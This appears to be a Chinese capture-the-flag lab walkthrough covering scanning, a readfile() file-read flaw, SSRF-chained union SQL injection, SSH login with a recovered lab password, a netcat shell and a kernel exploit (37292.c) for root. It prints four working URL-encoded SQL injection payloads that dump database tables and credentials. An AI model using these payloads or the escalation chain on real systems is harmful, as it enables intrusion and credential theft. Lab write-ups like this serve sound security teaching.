信息收集
使用arp-scan来查看,排除得到我们的目标ip为192.168.187.160
nmap扫描端口开放
TCP
输入命令:
nmap -min-rate 10000 -p- 192.168.187.160
可以发现开放3个端口
UDP
输入命令:
nmap -sU -min-rate 10000 -p- 192.168.187.160
没有发现开放的udp端口
nmap扫描端口信息
输入命令:
nmap -sC -sT -A -p 22,80,8080 192.168.187.160
nmap漏洞脚本扫描
输入命令:
nmap --script=vuln -p 22,80,8080 192.168.187.160
这里不知道为什么一直扫不出来
查看web端
好家伙,罗生门防御系统。
查看页面源代码
这里中间位置有一张图片的链接,可以点开看看
打开图片,发现报错无法显示,可能存在ssrf,或者文件包含之类的问题
发现文件读取
打开bp抓包
src参数值传入它自己,果然有收获,简单审计一下发现它通过readfile()函数来读取传入文件的内容,并未做任何安全措施。
读取一下其他用户的信息
现在我们可以利用这个文件读取来查询文件信息,那我们现在就需要查找当下有哪些文件存在
查看子目录
输入命令:
dirsearch -u http://192.168.187.160
好多子目录,找重点先查看
这里在查看config.php时发现了新的信息,这明显是数据库的信息
当查看checkpromo.php时,发现了数据库的查询语句
这里需要结合ssrf与sql注入,需要用到刚刚发现的语法:
联合查询数据库名称:http://127.0.0.1:8080/checkpromo.php?promocode=1%2527union%2520select%2520database()%252C2%2523
联合查询数据表名称:http://127.0.0.1:8080/checkpromo.php?promocode=1%2527union%2520select%2520group_concat(table_name)%252C2%2520from%2520information_schema.tables%2520where%2520table_schema%253Ddatabase()%2523
联合查询对应数据表行列:http://127.0.0.1:8080/checkpromo.php?promocode=1%2527union%2520select%2520group_concat(column_name)%252C2%2520from%2520information_schema.columns%2520where%2520table_schema%253Ddatabase()%2520and%2520table_name%253D%2527users%2527%2523
联合查询对应数据表行列内容:http://127.0.0.1:8080/checkpromo.php?promocode=1%2527union%2520select%2520group_concat(username%252Cpassword)%252C2%2520from%2520fancydb.users%2523
这里我们对数据库中用户信息的表进行sql注入并查看
然后我们就得到了一组用户名和密码
andrea:SayNoToPentests
然后我们就得到了一组用户名和密码
andrea:SayNoToPentests
ssh登录
输入命令:
输入密码以后发现成功登录
反弹shell
但是发现执行命令没有任何的结果回显,不知道是为什么
尝试在这里使用nc再次连接一个新的shell窗口,当连接以后,发现这次可以正常执行命令了
查找系统内核
这里我们查找系统内核
输入命令:
uname -a
输入命令:
cat /etc/issue.net
然后去查找一下有无对应的内核漏洞。
在kali中找到了2个符合的文件,先试试这个37292.c文件
先将文件拷贝到本地上
开启临时http服务
wget下载文件
提权
编译赋权
我们编译之后赋予权限,然后执行文件,发现成功提权
拿到flag
然后我们在根目录下找到flag文件,执行即可